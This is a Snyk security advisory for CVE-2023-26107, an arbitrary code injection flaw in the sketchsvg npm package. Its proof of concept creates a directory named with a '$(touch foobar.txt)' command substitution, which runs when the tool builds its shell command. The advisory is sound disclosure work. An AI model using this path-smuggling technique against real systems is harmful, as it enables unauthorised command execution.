Arbitrary Code Injection Affecting sketchsvg package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.07% (33rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-SKETCHSVG-3167969
  • published5 Mar 2023
  • disclosed13 Dec 2022
  • creditEverardo Padilla

Introduced: 13 Dec 2022

CVE-2023-26107  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for sketchsvg.

Overview

sketchsvg is a Command line tool used to convert and compress Sketch Icons/images to SVG and base64 formats.

Affected versions of this package are vulnerable to Arbitrary Code Injection when invoking shell.exec without sanitization nor parametrization while concatenating the current directory as part of the command string.

PoC

$ pwd
/home/user/poc
$ mkdir '$(touch foobar.txt)'
$ cd '$(touch foobar.txt)'/
$ git clone https://github.com/eBay/SketchSVG && cd SketchSVG/
$ npm install
$ node index.js samples/test.sketch
$ file foobar.txt
foobar.txt: empty

CVSS Scores

version 3.1